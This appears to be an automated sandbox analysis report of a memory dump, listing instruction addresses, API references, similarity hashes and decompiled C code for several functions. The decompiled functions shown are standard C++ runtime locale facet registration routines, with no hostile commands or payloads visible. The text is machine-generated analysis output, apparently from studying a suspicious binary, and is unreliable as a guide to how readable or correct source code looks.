0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9
0x0048c63d
0x0048c63d
0x0048c640
0x0048c644
0x0048c648
0x0048c655
0x0048c65d
0x0048c65f
0x00000000
0x0048c65f
0x0048c626
0x0048c626
0x00000000
0x0048c626
0x0048c624
0x0048c5a8
0x0048c5a8
0x0048c5ab
0x0048c5af
0x0048c5b3
0x0048c5c0
0x0048c5c8
0x0048c5ca
0x00000000
0x0048c5ca
0x0048c591
0x0048c591
0x00000000
0x0048c591
0x0048c58f

APIs

__EH_prolog3.LIBCMT ref: 0048C558
std::_Lockit::_Lockit.LIBCPMT ref: 0048C562

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

messages.LIBCPMT ref: 0048C59C
std::_Facet_Register.LIBCPMT ref: 0048C5B3
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C5D3
Concurrency::cancel_current_task.LIBCPMT ref: 0048C5E0

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermessages
String ID:
API String ID: 37379925-0
Opcode ID: 4bc7748a17087faf90baa822c35de2aba4e76ee606fdce50e0855399620bb9bb
Instruction ID: 9d515936320b941d598714f015e3cc2c31834eb0b91ffd1c19c5b4e0f3fbe4cd
Opcode Fuzzy Hash: 4bc7748a17087faf90baa822c35de2aba4e76ee606fdce50e0855399620bb9bb
Instruction Fuzzy Hash: 6601AD35D002299BCB06FB65A855ABE7761AF84318F54085FE810AB382DF3CAE01C799

Uniqueness

Uniqueness Score: -1.00%

Function 00499534, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00499534(void* __edi, void* __esi, void* __eflags) {
				signed int _t107;
				void* _t189;
				signed int _t276;
				void* _t301;
				signed int _t304;
				signed int _t305;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				void* _t329;
				void* _t330;

				_t330 = __eflags;
				_push(8);
				E0049D90B(0x4d6966, __edi, __esi);
				E00488DEA(_t329 - 0x14, 0);
				_t312 =  *0x4ede50; // 0x0
				 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
				 *(_t329 - 0x10) = _t312;
				_t107 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede30, __edi, _t312, _t330));
				_t303 = _t107;
				if(_t107 != 0) {
					L5:
					E00488E42(_t329 - 0x14);
					return E0049D8D4(_t303);
				} else {
					if(_t312 == 0) {
						_push( *((intOrPtr*)(_t329 + 8)));
						_push(_t329 - 0x10);
						__eflags = E00499AE3(_t301, _t303, _t312, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t303, _t312);
							E00488DEA(_t329 - 0x14, 0);
							_t313 =  *0x4ede54; // 0x0
							 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
							 *(_t329 - 0x10) = _t313;
							_t304 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede34, _t303, _t313, __eflags));
							__eflags = _t304;
							if(_t304 != 0) {
								L12:
								E00488E42(_t329 - 0x14);
								return E0049D8D4(_t304);
							} else {
								__eflags = _t313;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t329 + 8)));
									_push(_t329 - 0x10);
									__eflags = E00499B85(_t304, _t313, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t304, _t313);
										E00488DEA(_t329 - 0x14, 0);
										_t314 =  *0x4ede58; // 0x0
										 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
										 *(_t329 - 0x10) = _t314;
										_t305 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede38, _t304, _t314, __eflags));
										__eflags = _t305;
										if(_t305 != 0) {
											L19:
											E00488E42(_t329 - 0x14);
											return E0049D8D4(_t305);
										} else {
											__eflags = _t314;
											if(__eflags == 0) {
												_push( *((intOrPtr*)(_t329 + 8)));
												_push(_t329 - 0x10);
												__eflags = E00499BED(_t305, _t314, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t305, _t314);
													E00488DEA(_t329 - 0x14, 0);
													_t315 =  *0x4ede5c; // 0x0
													 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
													 *(_t329 - 0x10) = _t315;
													_t306 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede3c, _t305, _t315, __eflags));
													__eflags = _t306;
													if(_t306 != 0) {
														L26:
														E00488E42(_t329 - 0x14);
														return E0049D8D4(_t306);
													} else {
														__eflags = _t315;
														if(__eflags == 0) {
															_push( *((intOrPtr*)(_t329 + 8)));
															_push(_t329 - 0x10);
															__eflags = E00499C55(_t306, _t315, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t306, _t315);
																E00488DEA(_t329 - 0x14, 0);
																_t316 =  *0x4ede64; // 0x0
																 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
																 *(_t329 - 0x10) = _t316;
																_t307 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede44, _t306, _t316, __eflags));
																__eflags = _t307;
																if(_t307 != 0) {
																	L33:
																	E00488E42(_t329 - 0x14);
																	return E0049D8D4(_t307);
																} else {
																	__eflags = _t316;
																	if(__eflags == 0) {
																		_push( *((intOrPtr*)(_t329 + 8)));
																		_push(_t329 - 0x10);
																		__eflags = E00499CBD(_t307, _t316, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t307, _t316);
																			E00488DEA(_t329 - 0x14, 0);
																			_t317 =  *0x4ede60; // 0x0
																			 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
																			 *(_t329 - 0x10) = _t317;
																			_t308 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede40, _t307, _t317, __eflags));
																			__eflags = _t308;
																			if(_t308 != 0) {
																				L40:
																				E00488E42(_t329 - 0x14);
																				return E0049D8D4(_t308);
																			} else {
																				__eflags = _t317;
																				if(__eflags == 0) {
																					_push( *((intOrPtr*)(_t329 + 8)));
																					_push(_t329 - 0x10);
																					__eflags = E00499D41(_t308, _t317, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t308, _t317);
																						E00488DEA(_t329 - 0x14, 0);
																						_t318 =  *0x4ede68; // 0x0
																						 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
																						 *(_t329 - 0x10) = _t318;
																						_t309 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede48, _t308, _t318, __eflags));
																						__eflags = _t309;
																						if(_t309 != 0) {
																							L47:
																							E00488E42(_t329 - 0x14);
																							return E0049D8D4(_t309);
																						} else {
																							__eflags = _t318;
																							if(__eflags == 0) {
																								_push( *((intOrPtr*)(_t329 + 8)));
																								_push(_t329 - 0x10);
																								__eflags = E00499DC6(_t309, _t318, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t309, _t318);
																									E00488DEA(_t329 - 0x14, 0);
																									_t319 =  *0x4ede6c; // 0x0
																									 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
																									 *(_t329 - 0x10) = _t319;
																									_t310 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede4c, _t309, _t319, __eflags));
																									__eflags = _t310;
																									if(_t310 != 0) {
																										L54:
																										E00488E42(_t329 - 0x14);
																										return E0049D8D4(_t310);
																									} else {
																										__eflags = _t319;
																										if(__eflags == 0) {
																											_push( *((intOrPtr*)(_t329 + 8)));
																											_push(_t329 - 0x10);
																											_t189 = E00499E32(_t310, _t319, __eflags);
																											_pop(_t276);
																											__eflags = _t189 - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(4);
																												E0049D90B(0x4d6989, _t310, _t319);
																												_t320 = _t276;
																												 *(_t329 - 0x10) = _t320;
																												 *((intOrPtr*)(_t320 + 4)) =  *((intOrPtr*)(_t329 + 0xc));
																												_push( *((intOrPtr*)(_t329 + 8)));
																												_t101 = _t329 - 4;
																												 *_t101 =  *(_t329 - 4) & 0x00000000;
																												__eflags =  *_t101;
																												 *_t320 = 0x402f68; // executed
																												E0049AC63(_t276, _t310, _t320,  *_t101); // executed
																												return E0049D8D4(_t320);
																											} else {
																												_t310 =  *(_t329 - 0x10);
																												 *(_t329 - 0x10) = _t310;
																												 *(_t329 - 4) = 1;
																												E0048919D(_t310);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t310 + 4))))();
																												 *0x4ede6c = _t310;
																												goto L54;
																											}
																										} else {
																											_t310 = _t319;
																											goto L54;
																										}
																									}
																								} else {
																									_t309 =  *(_t329 - 0x10);
																									 *(_t329 - 0x10) = _t309;
																									 *(_t329 - 4) = 1;
																									E0048919D(_t309);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t309 + 4))))();
																									 *0x4ede68 = _t309;
																									goto L47;
																								}
																							} else {
																								_t309 = _t318;
																								goto L47;
																							}
																						}
																					} else {
																						_t308 =  *(_t329 - 0x10);
																						 *(_t329 - 0x10) = _t308;
																						 *(_t329 - 4) = 1;
																						E0048919D(_t308);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t308 + 4))))();
																						 *0x4ede60 = _t308;
																						goto L40;
																					}
																				} else {
																					_t308 = _t317;
																					goto L40;
																				}
																			}
																		} else {
																			_t307 =  *(_t329 - 0x10);
																			 *(_t329 - 0x10) = _t307;
																			 *(_t329 - 4) = 1;
																			E0048919D(_t307);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t307 + 4))))();
																			 *0x4ede64 = _t307;
																			goto L33;
																		}
																	} else {
																		_t307 = _t316;
																		goto L33;
																	}
																}
															} else {
																_t306 =  *(_t329 - 0x10);
																 *(_t329 - 0x10) = _t306;
																 *(_t329 - 4) = 1;
																E0048919D(_t306);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t306 + 4))))();
																 *0x4ede5c = _t306;
																goto L26;
															}
														} else {
															_t306 = _t315;
															goto L26;
														}
													}
												} else {
													_t305 =  *(_t329 - 0x10);
													 *(_t329 - 0x10) = _t305;
													 *(_t329 - 4) = 1;
													E0048919D(_t305);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t305 + 4))))();
													 *0x4ede58 = _t305;
													goto L19;
												}
											} else {
												_t305 = _t314;
												goto L19;
											}
										}
									} else {
										_t304 =  *(_t329 - 0x10);
										 *(_t329 - 0x10) = _t304;
										 *(_t329 - 4) = 1;
										E0048919D(_t304);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t304 + 4))))();
										 *0x4ede54 = _t304;
										goto L12;
									}
								} else {
									_t304 = _t313;
									goto L12;
								}
							}
						} else {
							_t303 =  *(_t329 - 0x10);
							 *(_t329 - 0x10) = _t303;
							 *(_t329 - 4) = 1;
							E0048919D(_t303);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t303 + 4))))();
							 *0x4ede50 = _t303;
							goto L5;
						}
					} else {
						_t303 = _t312;
						goto L5;
					}
				}
			}

0x00499534
0x00499534
0x0049953b
0x00499545
0x0049954a
0x00499555
0x00499559
0x00499565
0x0049956a
0x0049956e
0x004995b3
0x004995b6
0x004995c2
0x00499570
0x00499572
0x00499578
0x0049957e
0x00499586
0x00499589
0x004995c3
0x004995c8
0x004995c9
0x004995d0
0x004995da
0x004995df
0x004995ea
0x004995ee
0x004995ff
0x00499601
0x00499603
0x00499648
0x0049964b
0x00499657
0x00499605
0x00499605
0x00499607
0x0049960d
0x00499613
0x0049961b
0x0049961e
0x00499658
0x0049965d
0x0049965e
0x00499665
0x0049966f
0x00499674
0x0049967f
0x00499683
0x00499694
0x00499696
0x00499698
0x004996dd
0x004996e0
0x004996ec
0x0049969a
0x0049969a
0x0049969c
0x004996a2
0x004996a8
0x004996b0
0x004996b3
0x004996ed
0x004996f2
0x004996f3
0x004996fa
0x00499704
0x00499709
0x00499714
0x00499718
0x00499729
0x0049972b
0x0049972d
0x00499772
0x00499775
0x00499781
0x0049972f
0x0049972f
0x00499731
0x00499737
0x0049973d
0x00499745
0x00499748
0x00499782
0x00499787
0x00499788
0x0049978f
0x00499799
0x0049979e
0x004997a9
0x004997ad
0x004997be
0x004997c0
0x004997c2
0x00499807
0x0049980a
0x00499816
0x004997c4
0x004997c4
0x004997c6
0x004997cc
0x004997d2
0x004997da
0x004997dd
0x00499817
0x0049981c
0x0049981d
0x00499824
0x0049982e
0x00499833
0x0049983e
0x00499842
0x00499853
0x00499855
0x00499857
0x0049989c
0x0049989f
0x004998ab
0x00499859
0x00499859
0x0049985b
0x00499861
0x00499867
0x0049986f
0x00499872
0x004998ac
0x004998b1
0x004998b2
0x004998b9
0x004998c3
0x004998c8
0x004998d3
0x004998d7
0x004998e8
0x004998ea
0x004998ec
0x00499931
0x00499934
0x00499940
0x004998ee
0x004998ee
0x004998f0
0x004998f6
0x004998fc
0x00499904
0x00499907
0x00499941
0x00499946
0x00499947
0x0049994e
0x00499958
0x0049995d
0x00499968
0x0049996c
0x0049997d
0x0049997f
0x00499981
0x004999c6
0x004999c9
0x004999d5
0x00499983
0x00499983
0x00499985
0x0049998b
0x00499991
0x00499992
0x00499998
0x00499999
0x0049999c
0x004999d6
0x004999db
0x004999dc
0x004999e3
0x004999e8
0x004999ea
0x004999f0
0x004999f3
0x004999f6
0x004999f6
0x004999f6
0x004999fa
0x00499a00
0x00499a0c
0x0049999e
0x0049999e
0x004999a1
0x004999a5
0x004999a9
0x004999b6
0x004999be
0x004999c0
0x00000000
0x004999c0
0x00499987
0x00499987
0x00000000
0x00499987
0x00499985
0x00499909
0x00499909
0x0049990c
0x00499910
0x00499914
0x00499921
0x00499929
0x0049992b
0x00000000
0x0049992b
0x004998f2
0x004998f2
0x00000000
0x004998f2
0x004998f0
0x00499874
0x00499874
0x00499877
0x0049987b
0x0049987f
0x0049988c
0x00499894
0x00499896
0x00000000
0x00499896
0x0049985d
0x0049985d
0x00000000
0x0049985d
0x0049985b
0x004997df
0x004997df
0x004997e2
0x004997e6
0x004997ea
0x004997f7
0x004997ff
0x00499801
0x00000000
0x00499801
0x004997c8
0x004997c8
0x00000000
0x004997c8
0x004997c6
0x0049974a
0x0049974a
0x0049974d
0x00499751
0x00499755
0x00499762
0x0049976a
0x0049976c
0x00000000
0x0049976c
0x00499733
0x00499733
0x00000000
0x00499733
0x00499731
0x004996b5
0x004996b5
0x004996b8
0x004996bc
0x004996c0
0x004996cd
0x004996d5
0x004996d7
0x00000000
0x004996d7
0x0049969e
0x0049969e
0x00000000
0x0049969e
0x0049969c
0x00499620
0x00499620
0x00499623
0x00499627
0x0049962b
0x00499638
0x00499640
0x00499642
0x00000000
0x00499642
0x00499609
0x00499609
0x00000000
0x00499609
0x00499607
0x0049958b
0x0049958b
0x0049958e
0x00499592
0x00499596
0x004995a3
0x004995ab
0x004995ad
0x00000000
0x004995ad
0x00499574
0x00499574
0x00000000
0x00499574
0x00499572

APIs

__EH_prolog3.LIBCMT ref: 0049953B
std::_Lockit::_Lockit.LIBCPMT ref: 00499545

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

collate.LIBCPMT ref: 0049957F
std::_Facet_Register.LIBCPMT ref: 00499596
std::_Lockit::~_Lockit.LIBCPMT ref: 004995B6
Concurrency::cancel_current_task.LIBCPMT ref: 004995C3

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registercollate
String ID:
API String ID: 573010341-0
Opcode ID: f82b6f439aee6047e612ff253070418a7a38260c1059cc480e19e83f1f739492
Instruction ID: 8868ca4e9954f45b68f8ba55d50606d717014da002e3341c1927eaae5c20bcda
Opcode Fuzzy Hash: f82b6f439aee6047e612ff253070418a7a38260c1059cc480e19e83f1f739492
Instruction Fuzzy Hash: A201A132D005159BCF06EB69D8596BE7B61AF80724F55081FE4116B392CF789E01C799

Uniqueness

Uniqueness Score: -1.00%

Function 004995C9, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E004995C9() {
				signed int _t95;
				void* _t166;
				signed int _t243;
				void* _t265;
				signed int _t267;
				signed int _t268;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				void* _t273;
				signed int _t274;
				signed int _t275;
				signed int _t276;
				signed int _t277;
				signed int _t278;
				signed int _t279;
				signed int _t280;
				signed int _t281;
				void* _t289;
				void* _t290;

				_push(8);
				E0049D90B(0x4d6966, _t265, _t273);
				E00488DEA(_t289 - 0x14, 0);
				_t274 =  *0x4ede54; // 0x0
				 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
				 *(_t289 - 0x10) = _t274;
				_t95 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede34, _t265, _t274, _t290));
				_t266 = _t95;
				if(_t95 != 0) {
					L5:
					E00488E42(_t289 - 0x14);
					return E0049D8D4(_t266);
				} else {
					if(_t274 == 0) {
						_push( *((intOrPtr*)(_t289 + 8)));
						_push(_t289 - 0x10);
						__eflags = E00499B85(_t266, _t274, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t266, _t274);
							E00488DEA(_t289 - 0x14, 0);
							_t275 =  *0x4ede58; // 0x0
							 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
							 *(_t289 - 0x10) = _t275;
							_t267 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede38, _t266, _t275, __eflags));
							__eflags = _t267;
							if(_t267 != 0) {
								L12:
								E00488E42(_t289 - 0x14);
								return E0049D8D4(_t267);
							} else {
								__eflags = _t275;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t289 + 8)));
									_push(_t289 - 0x10);
									__eflags = E00499BED(_t267, _t275, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t267, _t275);
										E00488DEA(_t289 - 0x14, 0);
										_t276 =  *0x4ede5c; // 0x0
										 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
										 *(_t289 - 0x10) = _t276;
										_t268 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede3c, _t267, _t276, __eflags));
										__eflags = _t268;
										if(_t268 != 0) {
											L19:
											E00488E42(_t289 - 0x14);
											return E0049D8D4(_t268);
										} else {
											__eflags = _t276;
											if(__eflags == 0) {
												_push( *((intOrPtr*)(_t289 + 8)));
												_push(_t289 - 0x10);
												__eflags = E00499C55(_t268, _t276, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t268, _t276);
													E00488DEA(_t289 - 0x14, 0);
													_t277 =  *0x4ede64; // 0x0
													 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
													 *(_t289 - 0x10) = _t277;
													_t269 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede44, _t268, _t277, __eflags));
													__eflags = _t269;
													if(_t269 != 0) {
														L26:
														E00488E42(_t289 - 0x14);
														return E0049D8D4(_t269);
													} else {
														__eflags = _t277;
														if(__eflags == 0) {
															_push( *((intOrPtr*)(_t289 + 8)));
															_push(_t289 - 0x10);
															__eflags = E00499CBD(_t269, _t277, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t269, _t277);
																E00488DEA(_t289 - 0x14, 0);
																_t278 =  *0x4ede60; // 0x0
																 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
																 *(_t289 - 0x10) = _t278;
																_t270 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede40, _t269, _t278, __eflags));
																__eflags = _t270;
																if(_t270 != 0) {
																	L33:
																	E00488E42(_t289 - 0x14);
																	return E0049D8D4(_t270);
																} else {
																	__eflags = _t278;
																	if(__eflags == 0) {
																		_push( *((intOrPtr*)(_t289 + 8)));
																		_push(_t289 - 0x10);
																		__eflags = E00499D41(_t270, _t278, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t270, _t278);
																			E00488DEA(_t289 - 0x14, 0);
																			_t279 =  *0x4ede68; // 0x0
																			 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
																			 *(_t289 - 0x10) = _t279;
																			_t271 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede48, _t270, _t279, __eflags));
																			__eflags = _t271;
																			if(_t271 != 0) {
																				L40:
																				E00488E42(_t289 - 0x14);
																				return E0049D8D4(_t271);
																			} else {
																				__eflags = _t279;
																				if(__eflags == 0) {
																					_push( *((intOrPtr*)(_t289 + 8)));
																					_push(_t289 - 0x10);
																					__eflags = E00499DC6(_t271, _t279, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t271, _t279);
																						E00488DEA(_t289 - 0x14, 0);
																						_t280 =  *0x4ede6c; // 0x0
																						 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
																						 *(_t289 - 0x10) = _t280;
																						_t272 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede4c, _t271, _t280, __eflags));
																						__eflags = _t272;
																						if(_t272 != 0) {
																							L47:
																							E00488E42(_t289 - 0x14);
																							return E0049D8D4(_t272);
																						} else {
																							__eflags = _t280;
																							if(__eflags == 0) {
																								_push( *((intOrPtr*)(_t289 + 8)));
																								_push(_t289 - 0x10);
																								_t166 = E00499E32(_t272, _t280, __eflags);
																								_pop(_t243);
																								__eflags = _t166 - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(4);
																									E0049D90B(0x4d6989, _t272, _t280);
																									_t281 = _t243;
																									 *(_t289 - 0x10) = _t281;
																									 *((intOrPtr*)(_t281 + 4)) =  *((intOrPtr*)(_t289 + 0xc));
